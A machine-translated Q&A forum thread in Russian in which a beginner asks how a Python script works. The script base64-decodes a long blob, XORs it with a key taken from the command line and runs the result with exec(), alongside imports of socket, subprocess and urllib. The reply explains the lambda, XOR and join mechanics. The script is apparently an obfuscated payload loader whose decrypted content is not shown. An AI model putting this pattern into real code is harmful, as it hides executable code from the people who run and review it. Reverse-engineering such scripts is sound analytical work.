2017-02-22 29 views
-1

Я полный новобранец в кодировании python, и я пытаюсь перепроектировать скрипт/программу, но борясь за понимание функций лямбда/.join (chr (ord()) :понимание лямбда & .join (chr (ord (письмо))

код им пытаются осуществить реинжиниринг следующий:

#!/usr/bin/env python 
from itertools import cycle, izip 
import base64, sys 

import socket, subprocess, os, urllib 

x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b))) 

c = """ 
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe 
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T 
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha 
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q 
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9 
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY 
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X 
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX 
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT 
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX 
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC 
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT 
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb 
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET 
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX 
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR 
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT 
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd 
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET 
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ 
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY 
Gho9QB9QX1hAVBsaPQ== 
""" 

exec(x(c, sys.argv[1])) 

Если я понимаю это правильно оператор с base64 закодированный переменную, но она не может быть расшифрован сразу, потому что он получает искаженное в ''.join(chr(c)^ord(k)), который каким-то образом использует декодированную версию C с ее циклическим переключением с помощью значения sysargv - но это то, где я полностью теряюсь, какая из функций получает процессы sed сначала, XOR для C и K или циклирование с A и B?

Кроме того, где k приходит из этого случая, это не должно быть sysargv, если он установлен в b в части exec программы, так это то, что уже установлено по умолчанию некоторыми импортированными модулями?

ответ

0

Давайте разбить его:

x = lambda stuff: other_stuff 

почти точно соответствует

def x(stuff): 
    return other_stuff 

Так это просто определить функцию, которая принимает a (в формате base64 Шифротекст) и b (ключ) и возвращает декодированную строку.

Теперь, переходя от внутренней к внешней стороне:

base64.decodestring(a) 

это просто декодирует base64 кодирование Шифротекст, и возвращает декодируемой строки

cycle(b) 

возвращает итератор, что циклы более б ; например, если b равно "abc", итератор будет продолжать предоставлять a, b, c, a, b, c, a, b, c, ... навсегда.

izip(...) 

Возвращает итератор, предоставляющий «закодированные» кортежи из двух последовательностей; например, если первый параметр равен "12345", а второй - cycle("abc"), он предоставит ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b").

chr(ord(c)^ord(k)) for c,k in izip(...) 

Это выражение генератор, который перебирает в результате izip, распаковывает эти кортежи выше, в c и k (в Шифротекст и ключа для каждого отдельного байта) и вычисляет расшифрован байт за исключающее ИЛИ-ки * (^) их байтовое значение (ord) и пересоздание результата в соответствующий символ (chr). Результатом является генератор, который предоставляет декодированные символы.

''.join(...) 

Объединение символов, предоставляемых выражением генератора, в одну большую строку с результатом.

+0

Спасибо! это было очень полезное объяснение! –

+0

Рад, что это было полезно, если бы мой ответ правильно ответил на ваши сомнения, вы можете его перенести и пометить как принятое (спасибо! :-)) –